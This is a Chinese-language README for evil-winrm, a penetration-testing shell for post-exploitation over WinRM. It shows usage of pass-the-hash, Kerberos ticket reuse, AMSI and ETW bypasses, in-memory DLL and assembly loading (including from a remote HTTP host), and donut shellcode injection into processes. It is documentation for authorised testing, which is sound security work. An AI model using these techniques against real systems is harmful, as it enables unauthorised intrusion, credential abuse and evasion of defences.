
evil-winrm v4.1
用于黑客/渗透测试的终极 WinRM shell
Evil-WinRM

用于黑客/渗透测试的终极 WinRM 外壳

描述与用途
该外壳是用于黑客/渗透测试的终极 WinRM 外壳。
WinRM(Windows 远程管理)是微软对 WS-Management 协议的实现。它是一种基于 SOAP 的标准协议, 允许来自不同供应商的硬件和操作系统进行互操作。微软将其包含在其操作系统中, 以便让系统管理员的工作更加轻松。
该程序可用于任何启用了此功能(通常位于端口 5985)的 Microsoft Windows 服务器,当然前提是 你拥有使用它的凭据和权限。因此,我们可以说它可用于黑客/渗透测试的后渗透 阶段。该程序的目的是为黑客活动提供友好且易于使用的功能。系统管理员也可以将其用于合法 目的,但其大部分功能都专注于黑客/渗透测试相关的内容。
它主要基于 WinRM Ruby 库,该库自 2.0 版本起改变了其工作方式。现在,它不再使用 WinRM 协议,而是使用 PSRP(PowerShell 远程协议)来初始化运行空间池以及创建和处理管道。
功能特性
- 兼容 Linux 和 Windows 客户端系统
- 在内存中加载 PowerShell 脚本
- 在内存中加载 dll 文件,绕过部分杀毒软件
- 在内存中加载 C#(C Sharp)程序集,绕过部分杀毒软件
- 加载使用出色的 donut 技术生成的 x64 载荷
- 动态 AMSI 绕过以规避杀毒软件特征
- 支持哈希传递
- 支持 Kerberos 认证,包括 ccache 和 kirbi 文件
- 支持 SSL 和证书
- 上传和下载文件并显示进度条
- 无需权限即可列出远程机器服务
- 命令历史记录
- WinRM 命令补全
- 本地文件/目录补全
- 远程路径(文件/目录)补全(可选择性禁用)
- 提示符和输出消息着色(可选择性禁用)
- 可选日志记录功能
- Docker 支持(预构建镜像可在 Dockerhub 获取)
- 陷阱捕获以避免在按 Ctrl+C 时意外退出外壳
- 使用合法的 Windows 默认用户代理进行自定义
- ETW(Windows 事件跟踪)绕过
帮助```
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## 要求
需要 Ruby 2.3 或更高版本。还需要一些 Ruby gem:`winrm >=2.3.7`、`winrm-fs >=1.3.2`、`stringio >=0.0.2`、`logger >= 1.4.3`、`fileutils >= 0.7.2`、`readline ~> 0.0.4`、`readline-ext ~> 0.2.0`。
根据你的安装方法(共有 4 种),可能需要手动安装这些依赖。
另一个仅用于 Kerberos 认证的重要要求是安装用于网络认证的 Kerberos 包。
对于某些基于 Debian 的 Linux(如 Kali、Parrot 等),它被称为 `krb5-user`。对于 BlackArch,它被称为 `krb5`,而在其他 Linux 发行版中可能名称不同。
远程路径补全功能需要原生的 `readline-ext` 绑定,它会作为 Evil-WinRM 的依赖自动安装。某些系统需要额外的开发包才能编译它。更多信息请查看[下面的章节](#Remote-path-completion)。
## 安装与快速开始(4 种方法)
### 方法 1. 直接作为 Ruby gem 安装(依赖将自动安装到你的系统上)
- 步骤 1. 安装它(依赖将自动安装):```gem install evil-winrm```
- 步骤 2. 完成。直接启动即可!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
方法 2:通过 Git 克隆并在系统上手动安装依赖
- 步骤 1. 手动安装依赖:
sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext - 步骤 2. 克隆仓库:
git clone https://github.com/Hackplayers/evil-winrm.git - 步骤 3. 完成。直接启动即可!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
### 方法 3:使用 bundler(依赖不会安装到你的系统中,仅用于使用 evil-winrm)
- 步骤 1. 安装 bundler:`gem install bundler`
- 步骤 2. 克隆仓库:`git clone https://github.com/Hackplayers/evil-winrm.git`
- 步骤 3. 使用 bundler 安装依赖:`cd evil-winrm && bundle install --path vendor/bundle`
- 步骤 4. 使用 bundler 启动它:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
方法 4:使用 Docker
- 步骤 1. 基于已构建的镜像启动 Docker 容器:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
## 文档
### 明文密码
如果你不想以明文形式输入密码,可以选择不设置 `-p` 参数,系统会提示你输入密码,且不会显示在屏幕上。
### IPv6
要使用 IPv6,必须将地址添加到 /etc/hosts 中。只需在 `-i` 参数后填入已设置的主机名,而不是 IP 地址。
### 基本命令
- **upload**:本地文件可以使用 Tab 键自动补全。
- 用法:`upload local_filename` 或 `upload local_filename destination_filename`
- **download**:
- 用法:`download remote_filename` 或 `download remote_filename destination_filename`
__关于路径的说明(upload/download)__:
下载/上传时不允许使用相对路径。请使用当前目录下的文件名或绝对路径。
如果你在 docker 环境中使用 Evil-WinRM,请记住所有本地路径都应位于 `/data`,并确保你已将其映射为卷,以便能够访问下载的文件或从本地主机操作系统上传文件。
- **services**:列出所有服务,并显示你的账户是否对每个服务拥有权限。使用此功能无需管理员权限。
- **menu**:加载 `Invoke-Binary`、`Dll-Loader` 和 `Donut-Loader` 函数,我们将在下面进行说明。当加载 ps1 文件时,其所有函数都会显示出来。
- **clear** 或 **cls**:清除终端屏幕。你也可以使用 `Ctrl+L` 键盘快捷键来清除屏幕。
- **exit** 或 **quit**:关闭 Evil-WinRM 会话。你也可以使用 `Ctrl+D` 键盘快捷键。```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
加载 PowerShell 脚本
-
要加载 ps1 文件,只需输入文件名(支持使用 Tab 键自动补全)。脚本必须位于通过
-s参数设置的路径中。再次输入 menu 即可查看已加载的函数。非常大的文件可能需要较长时间才能加载完成。``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### 高级命令
- Invoke-Binary:允许在内存中执行 .Net 程序集。名称可使用 Tab 键自动补全。可执行文件的参数可以逗号分隔的形式传递。示例:`Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`。可执行文件必须位于 `-e` 参数所设置的路径中。```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
-
Dll-Loader:允许在内存中加载 dll 库,等同于:
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))dll 文件可以通过 smb、http 或本地托管。加载后输入
menu,即可自动补全所有函数。``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Description
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader:允许注入使用出色的 [donut] 技术生成的 x64 载荷。无需对 payload.bin 进行编码,只需生成并注入即可!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
你可以使用这个 donut-maker 来生成 payload.bin,如果你不使用 Windows 的话。 该脚本使用了由 Marcello Salvati(byt3bl33d3r)编写的 Python 模块。可以通过 pip 安装:`pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI:修补 AMSI 保护。```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Kerberos
-
首先必须与域控同步时间:
rdate -n <dc_ip> -
生成票据的方法有很多种:
- 使用 impacket 中的 ticketer.py
- 使用 Rubeus 或 Mimikatz 获取 kirbi 票据(支持自动转换为 ccache 格式)
-
添加票据文件。有 3 种方式:
export KRB5CCNAME=/foo/var/ticket.ccachecp ticket.ccache /tmp/krb5cc_0使用
-K参数:evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache或evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi使用
-K时,工具将自动:- 检测票据格式(ccache 或 kirbi)
- 如有需要,将 kirbi 票据转换为 ccache 格式(需要 ticket_converter.py 或 impacket-ticketConverter)
- 验证文件是否存在且可读
- 设置
KRB5CCNAME环境变量 - 将 IP 地址解析为 FQDN,以获得更好的 Kerberos 兼容性
-
将 realm 添加到
/etc/krb5.conf(适用于 Linux)。使用此格式非常重要: ``` CONTOSO.COM = { kdc = fooserver.contoso.com } -
使用
klist检查 Kerberos 票据 -
使用
kdestroy移除票据 -
有关 Kerberos 的更多信息,请查看此[速查表]
远程路径补全
此功能需要原生的 readline-ext 绑定。Evil-WinRM 将其声明为依赖项,因此在使用 RubyGems 或 Bundler 时会自动安装。如果无法构建原生扩展,此功能将无法使用(会显示警告)。
Ruby 3.3+ 注意事项:
ext/readline 已在 Ruby 3.3 中从源码中移除(Feature #19616)。因此,下面的方法 1 无法在 Ruby 3.3 或更高版本中使用。在基于 Debian 的系统上,请在安装 Evil-WinRM 或其依赖项之前安装所需的开发包:```
sudo apt install libreadline-dev
`readline-ext` 依赖使得 `require 'readline'` 加载 GNU Readline 而非 `reline`,后者缺少 `quoting_detection_proc`——这是 Evil-WinRM 所检查的方法。以下方法针对较旧的 Ruby 版本,保留它们是为了兼容性。
#### 方法 1(编译所需的扩展)
使用此方法,你将编译带有所需 readline 功能的 Ruby,但仅使用该库,而不会更改系统上的默认 Ruby 版本。因此,这是最推荐的方法。
假设你的基于 Debian 的系统上装有 Ruby 2.7.3:```
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
方法 2(使用 rbenv 安装 ruby,仅用于 evil-winrm)
假设你使用的是基于 Debian 的 Linux 系统,并且使用 zsh,同时希望安装 ruby 2.7.1。以下脚本将自动完成此操作。你需要从 evil-winrm.rb 和 Gemfile 所在的同一目录(例如 git clone 后创建的 evil-winrm 目录)启动它:``` #!/usr/bin/env zsh
Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q
Install rbenv
sudo apt install rbenv
Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc
Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1
Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
Install local gems
gem install bundler bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"
sudo chmod +x /usr/bin/evil-winrm
然后,您就可以从任何位置使用新安装的、具备所需 readline 支持的 Ruby 安全地启动 evil-winrm。
#### 方法 3(编译整个 Ruby)
如果您想自行编译,可以按照以下步骤操作。假设您需要 Ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
根据你的系统,它可能安装在 /opt/rubies/ruby-2.7.3,或者可能在 ~/.rubies/ruby-2.7.3。
现在只需要为该新安装的 ruby 版本安装 evil-winrm 的依赖。最简单的方法是执行命令 /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm。所使用的 gem 命令必须属于新的 ruby 安装。
之后,你可以安全地启动新安装的 ruby 来在 evil-winrm 上使用它:/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
建议仅使用这个新安装的 ruby 来启动 evil-winrm。如果你将其设置为系统的默认 ruby,请记住它没有安装任何依赖 gem。一些基于 ruby 的软件(如 Metasploit 或其他)可能因依赖问题而无法正常启动。
日志记录
此功能将在你的 $HOME 目录下创建文件,保存 WinRM 会话的命令和输出。
命令历史
Evil-WinRM 为每个主机和用户组合维护持久化的命令历史。历史记录存储在 ~/.evil-winrm/history/ 目录中,文件名格式为 {host}_{user}.hist。
当你连接到之前访问过的机器时,可以使用箭头键(上/下)浏览之前的命令。历史记录会在每次命令执行后自动保存,并在你以相同用户重新连接到同一主机时加载。
已知问题。OpenSSL 错误
有时,你可能会遇到如下错误:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
该错误是因为 OpenSSL 3.0 版本弃用了一些旧版函数(如 MD4),而运行此工具需要这些函数。目前有多种现有的解决方法可以应对这种情况:
- 将你的系统更新到最新版本。很可能,这个问题已在使用更新版 OpenSSL 的最新 Ruby 版本中被自动修复。
- 自行编译 Ruby,使用旧版 OpenSSL 1.x 而不是 OpenSSL 3.0,或使用 OpenSSL > 3.0 进行编译,以避免有问题的 3.0 版本。
- 最简单的方法。编辑你的 `/etc/ssl/openssl.cnf` 配置文件,并确保配置如下所示:```
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
- 作为最后一个解决方法的替代方案,如果你的系统使用的是 LibreSSL 而不是 OpenSSL,或者你只是不想修改系统配置文件。创建一个包含上述内容的简单文件。可以使用任何名称,例如
evil-tls.conf。之后,导出一个环境变量以强制系统使用它:export OPENSSL_CONF="/path/to/evil-tls.conf"。然后启动该工具,错误将消失。
更新日志:
更新日志和项目变更可在此查看:CHANGELOG.md
致谢:
团队成员:
- Cybervaca,(创始人)。Twitter (X):@CyberVaca_
- OscarAkaElvis,Twitter (X):@OscarAkaElvis
- Jarilaos,Twitter (X):@_Laox
- arale61,Twitter (X):@arale61
特别感谢:
- Vis0r 给予的个人支持。
- Alamot 提供的原始代码。
- 3v4Si0N 提供的出色 dll 加载器。
- WinRb Ruby 库的所有贡献者。
- TheWover 提供的出色 donut 工具。
- byt3bl33d3r 提供的用于创建 donut 载荷的 Python 库。
- Sh11td0wn 对新功能的启发。
- Borch 在添加日志记录功能方面的帮助。
- noraj 在维护该工具跨 Ruby 版本兼容性方面的帮助。
- Hackplayers 在其 GitHub 上为这个软件提供了托管空间。
免责声明与许可证
此脚本基于 LGPLv3+ 许可证。许可证直接链接:License。
Evil-WinRM 应仅用于授权的渗透测试和/或非营利性教育目的。 任何滥用此软件的行为均不由作者或任何其他协作者负责。 请在你自己的服务器上和/或在获得服务器所有者许可的情况下使用它。